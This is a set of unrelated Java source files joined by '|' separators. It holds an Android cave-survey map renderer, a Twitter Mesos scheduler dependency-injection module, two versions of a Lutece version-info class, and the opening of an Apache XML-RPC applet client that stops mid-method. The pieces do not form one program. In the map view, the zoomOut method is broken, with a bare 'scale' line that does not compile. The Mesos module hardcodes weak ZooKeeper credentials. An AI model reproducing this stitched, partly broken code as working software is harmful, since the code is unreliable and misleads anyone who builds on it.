DaoUtil.refreshPoint(l.getFromPoint());
pointLabel = galleryNames.get(l.getGalleryId()) + l.getFromPoint().getName();
if (scale >= 3) {
canvas.drawText(pointLabel, mapCenterMoveX + first.getX() + LABEL_DEVIATION_X, mapCenterMoveY + first.getY() + LABEL_DEVIATION_Y, polygonPaint);
}
canvas.drawCircle(mapCenterMoveX + first.getX(), mapCenterMoveY + first.getY(), POINT_RADIUS, polygonPaint);
}
}
float deltaX;
float deltaY;
if (horizontalPlan) {
if (l.getDistance() == null || l.getAzimuth() == null) {
deltaX = 0;
deltaY = 0;
} else {
float legDistance;
if (l.isMiddle()) {
legDistance = MapUtilities.applySlopeToDistance(l.getMiddlePointDistance(), MapUtilities.getSlopeInDegrees(l.getSlope(), slopeUnits));
} else {
legDistance = MapUtilities.applySlopeToDistance(l.getDistance(), MapUtilities.getSlopeInDegrees(l.getSlope(), slopeUnits));
}
deltaY = -(float) (legDistance * Math.cos(Math.toRadians(MapUtilities.getAzimuthInDegrees(l.getAzimuth(), azimuthUnits)))) * scale;
deltaX = (float) (legDistance * Math.sin(Math.toRadians(MapUtilities.getAzimuthInDegrees(l.getAzimuth(), azimuthUnits)))) * scale;
}
} else {
if (l.getDistance() == null || l.getDistance() == 0) {
deltaX = 0;
deltaY = 0;
} else {
float legDistance;
if (l.isMiddle()) {
legDistance = l.getMiddlePointDistance();
} else {
legDistance = l.getDistance();
}
deltaY = (float) (legDistance * Math.cos(Math.toRadians(MapUtilities.add90Degrees(MapUtilities.getSlopeInDegrees(l.getSlope() == null ? 0 : l.getSlope(), slopeUnits))))) * scale;
deltaX = (float) (legDistance * Math.sin(Math.toRadians(MapUtilities.add90Degrees(MapUtilities.getSlopeInDegrees(l.getSlope() == null ? 0 : l.getSlope(), slopeUnits))))) * scale;
}
}
Point2D second = new Point2D(first.getX() + deltaX, first.getY() + deltaY);
if (mapPoints.get(l.getToPoint().getId()) == null || l.isMiddle()) {
if (!l.isMiddle()) {
mapPoints.put(l.getToPoint().getId(), second);
}
// color
if (galleryColors.get(l.getGalleryId(), Constants.NOT_FOUND) == Constants.NOT_FOUND) {
galleryColors.put(l.getGalleryId(), MapUtilities.getNextGalleryColor(galleryColors.size()));
Gallery gallery = DaoUtil.getGallery(l.getGalleryId());
galleryNames.put(l.getGalleryId(), gallery.getName());
}
polygonPaint.setColor(galleryColors.get(l.getGalleryId()));
polygonWidthPaint.setColor(galleryColors.get(l.getGalleryId()));
vectorsPaint.setColor(galleryColors.get(l.getGalleryId()));
vectorPointPaint.setColor(galleryColors.get(l.getGalleryId()));
// Log.i(Constants.LOG_TAG_UI, "Drawing leg " + l.getFromPoint().getName() + ":" + l.getToPoint().getName() + "-" + l.getGalleryId());
if (Workspace.getCurrentInstance().getActiveLegId().equals(l.getId())) {
// you are here
if (l.isMiddle()) {
canvas.drawCircle(mapCenterMoveX + second.getX(), mapCenterMoveY + second.getY(), CURR_POINT_RADIUS, youAreHerePaint);
} else {
canvas.drawCircle(mapCenterMoveX + first.getX(), mapCenterMoveY + first.getY(), CURR_POINT_RADIUS, youAreHerePaint);
}
}
DaoUtil.refreshPoint(l.getToPoint());
if (l.isMiddle()) {
canvas.drawCircle(mapCenterMoveX + second.getX(), mapCenterMoveY + second.getY(), MIDDLE_POINT_RADIUS, polygonPaint);
} else {
pointLabel = galleryNames.get(l.getGalleryId()) + l.getToPoint().getName();
if (scale >= 3) {
canvas.drawText(pointLabel, mapCenterMoveX + second.getX() + LABEL_DEVIATION_X, mapCenterMoveY + second.getY() + LABEL_DEVIATION_Y, polygonPaint);
}
canvas.drawCircle(mapCenterMoveX + second.getX(), mapCenterMoveY + second.getY(), POINT_RADIUS, polygonPaint);
}
}
// leg
if (!l.isMiddle()) {
canvas.drawLine(mapCenterMoveX + first.getX(), mapCenterMoveY + first.getY(), mapCenterMoveX + second.getX(), mapCenterMoveY + second.getY(), polygonPaint);
}
Leg prevLeg = DaoUtil.getLegByToPointId(l.getFromPoint().getId());
if (scale >= 5) {
if (horizontalPlan) {
// left
calculateAndDrawSide(canvas, l, first, second, prevLeg, first.getLeft(), azimuthUnits, true);
// right
calculateAndDrawSide(canvas, l, first, second, prevLeg, first.getRight(), azimuthUnits, false);
} else {
// top
calculateAndDrawSide(canvas, l, first, second, prevLeg, first.getLeft(), slopeUnits, true);
// down
calculateAndDrawSide(canvas, l, first, second, prevLeg, first.getRight(), slopeUnits, false);
}
}
if (!l.isMiddle() && scale >= 10) {
// vectors
List<Vector> vectors = DaoUtil.getLegVectors(l);
if (vectors != null) {
for (Vector v : vectors) {
if (horizontalPlan) {
float legDistance = MapUtilities.applySlopeToDistance(v.getDistance(), MapUtilities.getSlopeInDegrees(v.getSlope(), slopeUnits));
deltaY = -(float) (legDistance * Math.cos(Math.toRadians(MapUtilities.getAzimuthInDegrees(v.getAzimuth(), azimuthUnits)))) * scale;
deltaX = (float) (legDistance * Math.sin(Math.toRadians(MapUtilities.getAzimuthInDegrees(v.getAzimuth(), azimuthUnits)))) * scale;
} else {
float legDistance = v.getDistance();
deltaY = (float) (legDistance * Math.cos(Math.toRadians(MapUtilities.add90Degrees(
MapUtilities.getSlopeInDegrees(MapUtilities.getSlopeOrHorizontallyIfMissing(v.getSlope()), slopeUnits))))) * scale;
deltaX = (float) (legDistance * Math.sin(Math.toRadians(MapUtilities.add90Degrees(
MapUtilities.getSlopeInDegrees(MapUtilities.getSlopeOrHorizontallyIfMissing(v.getSlope()), slopeUnits))))) * scale;
}
canvas.drawLine(mapCenterMoveX + first.getX(), mapCenterMoveY + first.getY(), mapCenterMoveX + first.getX() + deltaX, mapCenterMoveY + first.getY() + deltaY, vectorsPaint);
canvas.drawCircle(mapCenterMoveX + first.getX() + deltaX, mapCenterMoveY + first.getY() + deltaY, 2, vectorPointPaint);
}
}
}
processedLegs.add(l.getId());
}
}
}
// borders
//top
canvas.drawLine(SPACING, SPACING, maxX - SPACING, SPACING, overlayPaint);
//right
canvas.drawLine(maxX - SPACING, SPACING, maxX - SPACING, maxY - SPACING, overlayPaint);
// bottom
canvas.drawLine(SPACING, maxY - SPACING, maxX - SPACING, maxY - SPACING, overlayPaint);
//left
canvas.drawLine(SPACING, maxY - SPACING, SPACING, SPACING, overlayPaint);
if (horizontalPlan) {
// north arrow
northCenter.set(maxX - 20, 30);
canvas.drawLine(northCenter.x, northCenter.y, northCenter.x + 10, northCenter.y + 10, overlayPaint);
canvas.drawLine(northCenter.x + 10, northCenter.y + 10, northCenter.x, northCenter.y - 20, overlayPaint);
canvas.drawLine(northCenter.x, northCenter.y - 20, northCenter.x - 10, northCenter.y + 10, overlayPaint);
canvas.drawLine(northCenter.x - 10, northCenter.y + 10, northCenter.x, northCenter.y, overlayPaint);
canvas.drawText("N", northCenter.x + 5, northCenter.y - 10, overlayPaint);
} else {
// up wrrow
northCenter.set(maxX - 15, 10);
canvas.drawLine(northCenter.x + 1, northCenter.y, northCenter.x + 6, northCenter.y + 10, overlayPaint);
canvas.drawLine(northCenter.x - 5, northCenter.y + 10, northCenter.x, northCenter.y, overlayPaint);
canvas.drawLine(northCenter.x, northCenter.y -1, northCenter.x, northCenter.y + 20, overlayPaint);
}
// scale
canvas.drawText("x" + scale, 25 + gridStep/2, 45, overlayPaint);
canvas.drawLine(30, 25, 30, 35, overlayPaint);
canvas.drawLine(30, 30, 30 + gridStep, 30, overlayPaint);
canvas.drawLine(30 + gridStep, 25, 30 + gridStep, 35, overlayPaint);
canvas.drawText(GRID_STEPS[gridStepIndex] + "m" , 25 + gridStep/2, 25, overlayPaint);
} catch (Exception e) {
Log.e(Constants.LOG_TAG_UI, "Failed to draw map activity", e);
UIUtilities.showNotification(R.string.error);
}
}
public void zoomOut() {
scale
invalidate();
}
public void zoomIn() {
scale++;
invalidate();
}
public boolean canZoomOut() {
return scale > 1;
}
public boolean canZoomIn() {
return scale < 50;
}
public boolean isHorizontalPlan() {
return horizontalPlan;
}
public void setHorizontalPlan(boolean horizontalPlan) {
this.horizontalPlan = horizontalPlan;
scale = 10;
mapCenterMoveX = 0;
mapCenterMoveY = 0;
invalidate();
}
public void resetMove(float aX, float aY) {
initialMoveX = aX;
initialMoveY = aY;
}
public void move(float x, float y) {
mapCenterMoveX += (x - initialMoveX);
initialMoveX = x;
mapCenterMoveY += (y - initialMoveY);
initialMoveY = y;
invalidate();
}
public byte[] getPngDump() {
// render
Bitmap returnedBitmap = Bitmap.createBitmap(this.getWidth(), this.getHeight(),Bitmap.Config.ARGB_8888);
Canvas canvas = new Canvas(returnedBitmap);
Drawable bgDrawable = this.getBackground();
if (bgDrawable!=null) {
bgDrawable.draw(canvas);
}
draw(canvas);
// crop borders etc
returnedBitmap = Bitmap.createBitmap(returnedBitmap, 6, 6, this.getWidth() - 50, this.getHeight() - 70);
// return
ByteArrayOutputStream buff = new ByteArrayOutputStream();
returnedBitmap.compress(Bitmap.CompressFormat.PNG, 50, buff);
return buff.toByteArray();
}
private void calculateAndDrawSide(Canvas canvas, Leg l, Point2D first, Point2D second, Leg prevLeg, Float aMeasure, String anUnits, boolean left) {
double galleryWidthAngle;
if (aMeasure != null && aMeasure > 0) {
// first or middle by 90'
if (prevLeg == null || l.isMiddle()) {
float angle;
if (horizontalPlan) {
if (left) {
angle = MapUtilities.minus90Degrees(first.getAngle());
} else {
angle = MapUtilities.add90Degrees(first.getAngle());
}
} else {
if (left) {
angle = Option.MIN_VALUE_AZIMUTH;
} else {
angle = Option.MAX_VALUE_AZIMUTH_DEGREES / 2;
}
}
galleryWidthAngle = Math.toRadians(angle);
} else {
float angle = first.getAngle() == null ? 0 : first.getAngle();
// each next in the gallery by the bisector
if (l.getGalleryId().equals(prevLeg.getGalleryId())) {
if (horizontalPlan) {
angle = MapUtilities.getMiddleAngle(MapUtilities.getAzimuthInDegrees(prevLeg.getAzimuth(), anUnits), angle);
if (left) {
angle = MapUtilities.minus90Degrees(angle);
} else {
angle = MapUtilities.add90Degrees(angle);
}
} else {
if (left) {
angle = Option.MIN_VALUE_AZIMUTH;
} else {
angle = Option.MAX_VALUE_AZIMUTH_DEGREES / 2;
}
}
} else { // new galleries again by 90'
if (horizontalPlan) {
if (left) {
angle = MapUtilities.minus90Degrees(angle);
} else {
angle = MapUtilities.add90Degrees(angle);
}
} else {
if (left) {
angle = Option.MIN_VALUE_AZIMUTH;
} else {
angle = Option.MAX_VALUE_AZIMUTH_DEGREES / 2;
}
}
}
galleryWidthAngle = Math.toRadians(angle);
}
float deltaY = -(float) (aMeasure * Math.cos(galleryWidthAngle) * scale);
float deltaX = (float) (aMeasure * Math.sin(galleryWidthAngle) * scale);
drawSideMeasurePoint(canvas, l.isMiddle(), first, second, deltaX, deltaY);
}
}
private void drawSideMeasurePoint(Canvas aCanvas, boolean isMiddle, Point2D aFirst, Point2D aSecond, float aDeltaX, float aDeltaY) {
if (isMiddle) {
aCanvas.drawCircle(mapCenterMoveX + aSecond.getX() + aDeltaX, mapCenterMoveY + aSecond.getY() + aDeltaY, MEASURE_POINT_RADIUS, polygonWidthPaint);
} else {
aCanvas.drawCircle(mapCenterMoveX + aFirst.getX() + aDeltaX, mapCenterMoveY + aFirst.getY() + aDeltaY, MEASURE_POINT_RADIUS, polygonWidthPaint);
}
}
}
|
package com.twitter.mesos.scheduler;
import java.util.Arrays;
import java.util.List;
import java.util.logging.Logger;
import com.google.common.base.Function;
import com.google.common.base.Joiner;
import com.google.common.base.Optional;
import com.google.common.base.Supplier;
import com.google.common.collect.ImmutableList;
import com.google.common.collect.Iterables;
import com.google.inject.AbstractModule;
import com.google.inject.Inject;
import com.google.inject.Key;
import com.google.inject.Provides;
import com.google.inject.Singleton;
import com.google.inject.TypeLiteral;
import com.google.inject.multibindings.Multibinder;
import org.apache.mesos.Scheduler;
import org.apache.mesos.SchedulerDriver;
import org.apache.zookeeper.data.ACL;
import com.twitter.common.application.ShutdownRegistry;
import com.twitter.common.application.modules.LifecycleModule;
import com.twitter.common.args.Arg;
import com.twitter.common.args.CmdLine;
import com.twitter.common.args.constraints.NotNull;
import com.twitter.common.base.Closure;
import com.twitter.common.base.Command;
import com.twitter.common.inject.TimedInterceptor;
import com.twitter.common.net.pool.DynamicHostSet;
import com.twitter.common.quantity.Amount;
import com.twitter.common.quantity.Time;
import com.twitter.common.thrift.ThriftServer;
import com.twitter.common.util.BackoffStrategy;
import com.twitter.common.util.Clock;
import com.twitter.common.util.TruncatedBinaryBackoff;
import com.twitter.common.zookeeper.ServerSetImpl;
import com.twitter.common.zookeeper.SingletonService;
import com.twitter.common.zookeeper.ZooKeeperClient;
import com.twitter.common.zookeeper.ZooKeeperUtils;
import com.twitter.common_internal.zookeeper.ZooKeeperModule;
import com.twitter.mesos.GuiceUtils;
import com.twitter.mesos.auth.AuthBindings;
import com.twitter.mesos.scheduler.BackoffSchedulingFilter.BackoffDelegate;
import com.twitter.mesos.scheduler.Driver.DriverImpl;
import com.twitter.mesos.scheduler.DriverFactory.DriverFactoryImpl;
import com.twitter.mesos.scheduler.MesosSchedulerImpl.SlaveHosts;
import com.twitter.mesos.scheduler.MesosSchedulerImpl.SlaveHostsImpl;
import com.twitter.mesos.scheduler.MesosSchedulerImpl.SlaveMapper;
import com.twitter.mesos.scheduler.MesosTaskFactory.MesosTaskFactoryImpl;
import com.twitter.mesos.scheduler.PulseMonitor.PulseMonitorImpl;
import com.twitter.mesos.scheduler.RegisteredListener.FanoutRegisteredListener;
import com.twitter.mesos.scheduler.ScheduleBackoff.ScheduleBackoffImpl;
import com.twitter.mesos.scheduler.ScheduleBackoff.ScheduleBackoffImpl.Backoff;
import com.twitter.mesos.scheduler.SchedulerLifecycle.DriverReference;
import com.twitter.mesos.scheduler.StateManagerVars.MutableState;
import com.twitter.mesos.scheduler.events.TaskEventModule;
import com.twitter.mesos.scheduler.events.TaskPubsubEvent.EventSubscriber;
import com.twitter.mesos.scheduler.httphandlers.ServletModule;
import com.twitter.mesos.scheduler.log.mesos.MesosLogStreamModule;
import com.twitter.mesos.scheduler.metadata.MetadataModule;
import com.twitter.mesos.scheduler.periodic.BootstrapTaskLauncher;
import com.twitter.mesos.scheduler.periodic.BootstrapTaskLauncher.Bootstrap;
import com.twitter.mesos.scheduler.periodic.GcExecutorLauncher;
import com.twitter.mesos.scheduler.periodic.GcExecutorLauncher.GcExecutor;
import com.twitter.mesos.scheduler.periodic.PeriodicTaskModule;
import com.twitter.mesos.scheduler.quota.QuotaModule;
import com.twitter.mesos.scheduler.storage.AttributeStore;
import com.twitter.mesos.scheduler.storage.AttributeStore.AttributeStoreImpl;
import com.twitter.mesos.scheduler.storage.log.LogStorageModule;
import com.twitter.mesos.scheduler.testing.IsolatedSchedulerModule;
import com.twitter.thrift.ServiceInstance;
import static com.google.common.base.Preconditions.checkNotNull;
/**
* Binding module for the twitter mesos scheduler.
*/
public class SchedulerModule extends AbstractModule {
private static final Logger LOG = Logger.getLogger(SchedulerModule.class.getName());
@NotNull
@CmdLine(name = "mesos_scheduler_ns",
help = "The name service name for the mesos scheduler thrift server.")
private static final Arg<String> MESOS_SCHEDULER_NAME_SPEC = Arg.create();
@CmdLine(name = "executor_dead_threashold", help =
"Time after which the scheduler will consider an executor dead and attempt to revive it.")
private static final Arg<Amount<Long, Time>> EXECUTOR_DEAD_THRESHOLD =
Arg.create(Amount.of(10L, Time.MINUTES));
@CmdLine(name = "executor_gc_interval",
help = "Interval on which to run the GC executor on a host to clean up dead tasks.")
private static final Arg<Amount<Long, Time>> EXECUTOR_GC_INTERVAL =
Arg.create(Amount.of(1L, Time.HOURS));
@NotNull
@CmdLine(name = "cluster_name", help = "Name to identify the cluster being served.")
private static final Arg<String> CLUSTER_NAME = Arg.create();
@CmdLine(name = "gc_executor_path", help = "Path to the gc executor launch script.")
private static final Arg<String> GC_EXECUTOR_PATH = Arg.create(null);
@CmdLine(name = "testing_isolated_scheduler",
help = "If true, run in a testing mode with the scheduler isolated from other components.")
private static final Arg<Boolean> ISOLATED_SCHEDULER = Arg.create(false);
@CmdLine(name = "auth_mode", help = "Enforces RPC authentication with mesos client.")
private static final Arg<AuthMode> AUTH_MODE = Arg.create(AuthMode.SECURE);
@CmdLine(name = "initial_task_reschedule_backoff",
help = "Initial backoff delay for a rescheduled task.")
private static final Arg<Amount<Long, Time>> INITIAL_RESCHEDULE_BACKOFF =
Arg.create(Amount.of(1L, Time.SECONDS));
@CmdLine(name = "max_task_reschedule_backoff",
help = "Maximum backoff delay for a rescheduled task.")
private static final Arg<Amount<Long, Time>> MAX_RESCHEDULE_BACKOFF =
Arg.create(Amount.of(2L, Time.MINUTES));
private enum AuthMode {
UNSECURE,
ANGRYBIRD_UNSECURE,
SECURE
}
@Override
protected void configure() {
// Enable intercepted method timings and context classloader repair.
TimedInterceptor.bind(binder());
GuiceUtils.bindJNIContextClassLoader(binder(), Scheduler.class);
GuiceUtils.bindExceptionTrap(binder(), Scheduler.class);
// Bind a ZooKeeperClient
install(
ZooKeeperModule.flaggedHostsBuilder()
.withFlagOverrides()
.withDigestCredentials("mesos", "mesos")
.withAcl(ZooKeeperUtils.EVERYONE_READ_CREATOR_ALL)
.build());
bind(Key.get(String.class, ClusterName.class)).toInstance(CLUSTER_NAME.get());
bind(Driver.class).to(DriverImpl.class);
bind(DriverImpl.class).in(Singleton.class);
bind(new TypeLiteral<Supplier<Optional<SchedulerDriver>>>() { }).to(DriverReference.class);
bind(DriverReference.class).in(Singleton.class);
bind(MesosTaskFactory.class).to(MesosTaskFactoryImpl.class);
// Bindings for MesosSchedulerImpl.
switch(AUTH_MODE.get()) {
case SECURE:
LOG.info("Using secure authentication mode");
AuthBindings.bindLdapAuth(binder());
break;
case UNSECURE:
LOG.warning("Using unsecure authentication mode");
AuthBindings.bindTestAuth(binder());
break;
case ANGRYBIRD_UNSECURE:
LOG.warning("Using angrybird authentication mode");
AuthBindings.bindAngryBirdAuth(binder());
break;
default:
throw new IllegalArgumentException("Invalid authentication mode: " + AUTH_MODE.get());
}
bind(SchedulerCore.class).to(SchedulerCoreImpl.class).in(Singleton.class);
bind(new TypeLiteral<Optional<String>>() { }).annotatedWith(GcExecutor.class)
.toInstance(Optional.fromNullable(GC_EXECUTOR_PATH.get()));
bind(new TypeLiteral<PulseMonitor<String>>() { })
.annotatedWith(GcExecutor.class)
.toInstance(new PulseMonitorImpl<String>(EXECUTOR_GC_INTERVAL.get()));
// Bindings for SchedulerCoreImpl.
bind(CronJobManager.class).in(Singleton.class);
bind(ImmediateJobManager.class).in(Singleton.class);
bind(new TypeLiteral<PulseMonitor<String>>() { })
.annotatedWith(Bootstrap.class)
.toInstance(new PulseMonitorImpl<String>(EXECUTOR_DEAD_THRESHOLD.get()));
// Bindings for thrift interfaces.
LoggingThriftInterface.bind(binder(), SchedulerThriftInterface.class);
bind(SchedulerThriftInterface.class).in(Singleton.class);
bind(ThriftServer.class).to(SchedulerThriftServer.class).in(Singleton.class);
if (ISOLATED_SCHEDULER.get()) {
install(new IsolatedSchedulerModule());
} else {
MesosLogStreamModule.bind(binder());
LogStorageModule.bind(binder());
bind(DriverFactory.class).to(DriverFactoryImpl.class);
bind(DriverFactoryImpl.class).in(Singleton.class);
}
bind(new TypeLiteral<Amount<Long, Time>>() { }).annotatedWith(Backoff.class)
.toInstance(MAX_RESCHEDULE_BACKOFF.get());
bind(BackoffStrategy.class).toInstance(
new TruncatedBinaryBackoff(INITIAL_RESCHEDULE_BACKOFF.get(), MAX_RESCHEDULE_BACKOFF.get()));
bind(ScheduleBackoff.class).to(ScheduleBackoffImpl.class);
bind(ScheduleBackoffImpl.class).in(Singleton.class);
LifecycleModule.bindStartupAction(binder(), SubscribeTaskEvents.class);
// Filter layering: notifier filter -> backoff filter -> base impl
TaskEventModule.bind(binder(), BackoffSchedulingFilter.class);
bind(SchedulingFilter.class).annotatedWith(BackoffDelegate.class)
.to(SchedulingFilterImpl.class);
bind(SchedulingFilterImpl.class).in(Singleton.class);
install(new MetadataModule());
// updaterTaskProvider handled in provider.
bind(SlaveHosts.class).to(SlaveHostsImpl.class);
bind(SlaveMapper.class).to(SlaveHostsImpl.class);
bind(SlaveHostsImpl.class).in(Singleton.class);
bind(Scheduler.class).to(MesosSchedulerImpl.class);
bind(MesosSchedulerImpl.class).in(Singleton.class);
// Bindings for StateManager
bind(StateManager.class).to(StateManagerImpl.class);
bind(MutableState.class).in(Singleton.class);
bind(Clock.class).toInstance(Clock.SYSTEM_CLOCK);
bind(StateManagerImpl.class).in(Singleton.class);
LifecycleModule.bindServiceRunner(binder(), ThriftServerLauncher.class);
LifecycleModule.bindStartupAction(binder(), RegisterShutdownStackPrinter.class);
bind(SchedulerLifecycle.class).in(Singleton.class);
bind(AttributeStore.Mutable.class).to(AttributeStoreImpl.class);
bind(AttributeStoreImpl.class).in(Singleton.class);
QuotaModule.bind(binder());
PeriodicTaskModule.bind(binder());
install(new ServletModule());
Multibinder<RegisteredListener> registeredListeners =
Multibinder.newSetBinder(binder(), RegisteredListener.class);
registeredListeners.addBinding().to(SchedulerLifecycle.class);
registeredListeners.addBinding().to(SchedulerCore.class);
bind(RegisteredListener.class).to(FanoutRegisteredListener.class);
bind(FanoutRegisteredListener.class).in(Singleton.class);
bind(BootstrapTaskLauncher.class).in(Singleton.class);
bind(GcExecutorLauncher.class).in(Singleton.class);
bind(UserTaskLauncher.class).in(Singleton.class);
}
/**
* Command to register a thread stack printer that identifies initiator of a shutdown.
*/
private static class RegisterShutdownStackPrinter implements Command {
private static final Function<StackTraceElement, String> STACK_ELEM_TOSTRING =
new Function<StackTraceElement, String>() {
@Override public String apply(StackTraceElement element) {
return element.getClassName() + "." + element.getMethodName()
+ String.format("(%s:%s)", element.getFileName(), element.getLineNumber());
}
};
private final ShutdownRegistry shutdownRegistry;
@Inject
RegisterShutdownStackPrinter(ShutdownRegistry shutdownRegistry) {
this.shutdownRegistry = shutdownRegistry;
}
@Override
public void execute() {
shutdownRegistry.addAction(new Command() {
@Override public void execute() {
Thread thread = Thread.currentThread();
String message = new StringBuilder()
.append("Thread: ").append(thread.getName())
.append(" (id ").append(thread.getId()).append(")")
.append("\n")
.append(Joiner.on("\n ").join(
Iterables.transform(Arrays.asList(thread.getStackTrace()), STACK_ELEM_TOSTRING)))
.toString();
LOG.info("Shutdown initiated by: " + message);
}
});
}
}
@Provides
@Singleton
SingletonService provideSingletonService(ZooKeeperClient zkClient, List<ACL> acl) {
return new SingletonService(zkClient, MESOS_SCHEDULER_NAME_SPEC.get(), acl);
}
@Provides
@Singleton
DynamicHostSet<ServiceInstance> provideSchedulerHostSet(ZooKeeperClient zkClient, List<ACL> acl) {
return new ServerSetImpl(zkClient, acl, MESOS_SCHEDULER_NAME_SPEC.get());
}
@Provides
@Singleton
List<TaskLauncher> provideTaskLaunchers(
BootstrapTaskLauncher bootstrapLauncher,
GcExecutorLauncher gcLauncher,
UserTaskLauncher userTaskLauncher) {
return ImmutableList.of(bootstrapLauncher, gcLauncher, userTaskLauncher);
}
static class SubscribeTaskEvents implements Command {
private final ScheduleBackoff backoff;
private final Closure<EventSubscriber> subscribeSink;
@Inject
SubscribeTaskEvents(ScheduleBackoff backoff, Closure<EventSubscriber> subscribeSink) {
this.backoff = checkNotNull(backoff);
this.subscribeSink = checkNotNull(subscribeSink);
}
@Override
public void execute() {
subscribeSink.execute(backoff);
}
}
}
|
package fr.paris.lutece.portal.service.init;
/**
* this class provides informations about application version
*/
public final class AppInfo
{
/** Defines the current version of the application */
private static final String APP_VERSION = "5.1.0-SNAPSHOT";
/**
* Creates a new AppInfo object.
*/
private AppInfo( )
{
}
/**
* Returns the current version of the application
* @return APP_VERSION The current version of the application
*/
public static String getVersion( )
{
return APP_VERSION;
}
}
|
package fr.paris.lutece.portal.service.init;
/**
* this class provides informations about application version
*/
public final class AppInfo
{
/** Defines the current version of the application */
private static final String APP_VERSION = "7.0.4";
static final String LUTECE_BANNER_VERSION = "\n _ _ _ _____ ___ ___ ___ ____\n"
+ "| | | | | | |_ _| | __| / __| | __| |__ |\n" + "| |__ | |_| | | | | _| | (__ | _| / / \n"
+ "|____| \\___/ |_| |___| \\___| |___| /_/ ";
static final String LUTECE_BANNER_SERVER = "\n _ _ _ _____ ___ ___ ___ ___ ___ ___ __ __ ___ ___ \n"
+ "| | | | | | |_ _| | __| / __| | __| / __| | __| | _ \\ \\ \\ / / | __| | _ \\\n"
+ "| |__ | |_| | | | | _| | (__ | _| \\__ \\ | _| | / \\ V / | _| | /\n"
+ "|____| \\___/ |_| |___| \\___| |___| |___/ |___| |_|_\\ \\_/ |___| |_|_\\";
/**
* Creates a new AppInfo object.
*/
private AppInfo( )
{
}
/**
* Returns the current version of the application
*
* @return APP_VERSION The current version of the application
*/
public static String getVersion( )
{
return APP_VERSION;
}
}
|
package org.apache.xmlrpc.applet;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.UnsupportedEncodingException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.text.DateFormat;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Enumeration;
import java.util.Hashtable;
import java.util.Stack;
import java.util.Vector;
import org.apache.xmlrpc.Base64;
import org.xml.sax.AttributeList;
import org.xml.sax.HandlerBase;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.SAXParseException;
import uk.co.wilson.xml.MinML;
/**
* A simple XML-RPC client.
*
* FIXME: This code is VERY out of date with the rest of the package.
*
* @version $Id$
*/
public class SimpleXmlRpcClient
{
URL url;
/**
* Construct a XML-RPC client with this URL.
*/
public SimpleXmlRpcClient(URL url)
{
this.url = url;
}
/**
* Construct a XML-RPC client for the URL represented by this String.
*/
public SimpleXmlRpcClient(String url) throws MalformedURLException
{
this.url = new URL(url);
}
/**
* Construct a XML-RPC client for the specified hostname and port.
*/
public SimpleXmlRpcClient(String hostname, int port)
throws MalformedURLException
{
this.url = new URL("http://" + hostname + ":" + port + "/RPC2");
}
/**
*
* @param method
* @param params
* @return
* @throws XmlRpcException
* @throws IOException
*/
public Object execute(String method, Vector params)
throws XmlRpcException, IOException
{
return new XmlRpcSupport (url).execute (method, params);
}
}
/**
* FIXME: Leverage the XmlRpc class.
*/
class XmlRpcSupport extends HandlerBase
{
URL url;
String methodName;
boolean fault = false;
Object result = null;
// the stack we're parsing our values into.
Stack values;
Value currentValue;
boolean readCdata;
// formats for parsing and generating dateTime values
static final DateFormat format = new SimpleDateFormat("yyyyMMdd'T'HH:mm:ss");
// used to collect character data of parameter values
StringBuffer cdata = new StringBuffer ();
// XML RPC parameter types used for dataMode
static final int STRING = 0;
static final int INTEGER = 1;
static final int BOOLEAN = 2;
static final int DOUBLE = 3;
static final int DATE = 4;
static final int BASE64 = 5;
static final int STRUCT = 6;
static final int ARRAY = 7;
// for debugging output
public static boolean debug = false;
final static String types[] = {"String", "Integer", "Boolean", "Double",
"Date", "Base64", "Struct", "Array"};
/**
*
* @param url
*/
public XmlRpcSupport(URL url)
{
this.url = url;
}
/**
* Switch debugging output on/off.
*/
public static void setDebug(boolean val)
{
debug = val;
}
/**
* Parse the input stream. For each root level object, method
* <code>objectParsed</code> is called.
*/
synchronized void parse(InputStream is) throws Exception
{
values = new Stack();
long now = System.currentTimeMillis();
MinML parser = new MinML();
parser.setDocumentHandler(this);
parser.setErrorHandler(this);
parser.parse(new InputSource(is));
if (debug)
{
System.out.println("Spent " + (System.currentTimeMillis() - now)
+ " parsing");
}
}
/**
* Writes the XML representation of a supported Java object to the XML writer.
*/
void writeObject (Object what, XmlWriter writer) throws IOException
{
writer.startElement("value");
if (what instanceof String)
{
writer.write(what.toString());
}
else if (what instanceof Integer)
{
writer.startElement("int");
writer.write (what.toString());
writer.endElement("int");
}
else if (what instanceof Boolean)
{
writer.startElement("boolean");
writer.write(((Boolean) what).booleanValue() ? "1" : "0");
writer.endElement("boolean");
}
else if (what instanceof Double)
{
writer.startElement("double");
writer.write (what.toString());
writer.endElement("double");
}
else if (what instanceof Date)
{
writer.startElement("dateTime.iso8601");
Date d = (Date) what;
writer.write(format.format(d));
writer.endElement("dateTime.iso8601");
}
else if (what instanceof byte[])
{
writer.startElement("base64");
writer.write(Base64.encode((byte[]) what));
writer.endElement("base64");
}
else if (what instanceof Vector)
{
writer.startElement("array");
writer.startElement("data");
Vector v = (Vector) what;
int l2 = v.size();
for (int i2 = 0; i2 < l2; i2++)
{
writeObject(v.elementAt(i2), writer);
}
writer.endElement("data");
writer.endElement("array");
}
else if (what instanceof Hashtable)
{
writer.startElement("struct");
Hashtable h = (Hashtable) what;
for (Enumeration e = h.keys (); e.hasMoreElements (); )
{
String nextkey = (String) e.nextElement ();
Object nextval = h.get(nextkey);
writer.startElement("member");
writer.startElement("name");
writer.write(nextkey);
writer.endElement("name");
writeObject(nextval, writer);
writer.endElement("member");
}
writer.endElement("struct");
}
else
{
String unsupportedType = what == null ? "null"
: what.getClass().toString();
throw new IOException("unsupported Java type: " + unsupportedType);
}
writer.endElement("value");
}
/**
* Generate an XML-RPC request and send it to the server. Parse the result
* and return the corresponding Java object.
*
* @exception XmlRpcException If the remote host returned a fault message.
* @exception IOException If the call could not be made for lower level
* problems.
*/
public Object execute(String method, Vector arguments)
throws XmlRpcException, IOException
{
fault = false;
long now = System.currentTimeMillis();
try
{
StringBuffer strbuf = new StringBuffer();
XmlWriter writer = new XmlWriter(strbuf);
writeRequest(writer, method, arguments);
byte[] request = strbuf.toString().getBytes();
URLConnection con = url.openConnection();
con.setDoOutput(true);
con.setDoInput(true);
con.setUseCaches(false);
con.setAllowUserInteraction(false);
con.setRequestProperty("Content-Length",
Integer.toString(request.length));
con.setRequestProperty("Content-Type", "text/xml");
// con.connect ();
